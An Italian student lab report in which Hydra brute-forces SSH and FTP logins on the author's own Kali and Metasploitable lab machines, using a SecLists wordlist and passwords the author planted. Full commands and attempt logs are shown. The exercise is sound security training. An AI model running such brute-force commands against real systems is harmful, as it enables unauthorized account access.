Alaimo Alessandro
01/12/2022

Report Hydra

Per poter avere accesso alle wordlist di username e password e poter attivare il servizio ftp installiamo i pacchetti vsftpd (Servizio FTP) e seclists (Per le liste di password e username). Fatto ciò, però prima creiamo un nuovo utente con user: test_user password: testpass.

```
┌──(kali㉿kali)-[~]
└─$ sudo adduser test_user
[sudo] password for kali:
Adding user `test_user' ...
Adding new group `test_user' (1001) ...
Adding new user `test_user' (1001) with group `test_user (1001)' ...
adduser: The home directory `/home/test_user' already exists.  Not copying from `/etc/skel'.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
Adding new user `test_user' to supplemental / extra groups `users' ...
Adding user `test_user' to group `users' ...
```

Fatto ciò andiamo ad avviare il servizio ssh con il seguente comando:

```
┌──(kali㉿kali)-[~]
└─$ sudo service ssh start
```

Ed andiamo a testare se lo user e la password sono stati inseriti correttamente collegandoci all'utente nel seguente modo:

```
┌──(kali㉿kali)-[~]
└─$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:3LV+x0t1woTNfoTxHDgrTOQbuav/5kHZSQbZjs1t3DI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.0.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (2022-11-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(Message from Kali developers)
│
│ This is a minimal installation of Kali Linux, you likely
│ want to install supplementary tools. Learn how:
│ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/
│
└──(Run: "touch ~/.hushlogin" to hide this message)
┌──(test_user㉿kali)-[~]
└─$
```

Testato ciò, ora andremo ad usare Hydra, testando il sistema in "Black_Box", inserendo nei campi lo username che idealmente ci siamo già trovati ed una lista di password (In caso non avessimo lo username, andremo ad inserire anche la lista di usernames):

```
┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.100 -t4 -V ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizatio
ns, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:02:03
[DATA] max 4 tasks per 1 server, overall 4 tasks, 5189454 login tries (l:1/p:5189454), ~1297364 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 5189454 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 2 of 5189454 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 3 of 5189454 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwerty" - 4 of 5189454 [child 3] (0/0)
```

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "arsenal" - 156 of 5189455 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "eagles" - 157 of 5189455 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "melissa" - 158 of 5189455 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "boomer" - 159 of 5189455 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "booboo" - 160 of 5189455 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "spider" - 161 of 5189455 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "nascar" - 162 of 5189455 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 163 of 5189455 [child 0] (0/0)
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
```

Come riporta sopra, abbiamo trovato la password associata allo username per accedere all'utente test_user. Adesso proviamo con il servizio FTP, notando che la troverà nello stesso modo:

```
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.100 -V ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizatio
ns, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:15:50
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session foun
d, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 5189455 login tries (l:1/p:5189455), ~324341 tries per task
[DATA] attacking ftp://192.168.50.100:21/
-[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 5189455 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 2 of 5189455 [child 1] (0/0)
```

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "marina" - 170 of 5189455 [child 13] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "diablo" - 171 of 5189455 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "bulldog" - 172 of 5189455 [child 5] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwer1234" - 173 of 5189455 [child 15] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "compaq" - 174 of 5189455 [child 10] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "purple" - 175 of 5189455 [child 11] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "hardcore" - 176 of 5189455 [child 12] (0/0)
[21][ftp] host: 192.168.50.100   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:16:36
```

Come ulteriore esercizio, andiamo a vedere se riesce a crackare la password di Metasploit, andando ovviamente a cambiare l'ip ed andando ad aggiungere alla lista la password msfadmin (Ovviamente cambiando pure lo user in msfadmin):

```
┌──(kali㉿kali)-[~]
└─$ hydra -l msfadmin -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.101 -V ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or
for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 09:19:45
[DATA] max 16 tasks per 1 server, overall 16 tasks, 5189456 login tries (l:1/p:5189456), ~324341 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 5189456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 2 of 5189456 [child 1] (0/0)
```

```
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "matrix" - 101 of 5189456 [child 13] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "william" - 102 of 5189456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "corvette" - 103 of 5189456 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 104 of 5189456 [child 10] (0/0)
[21][ftp] host: 192.168.50.101   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 09:20:09
```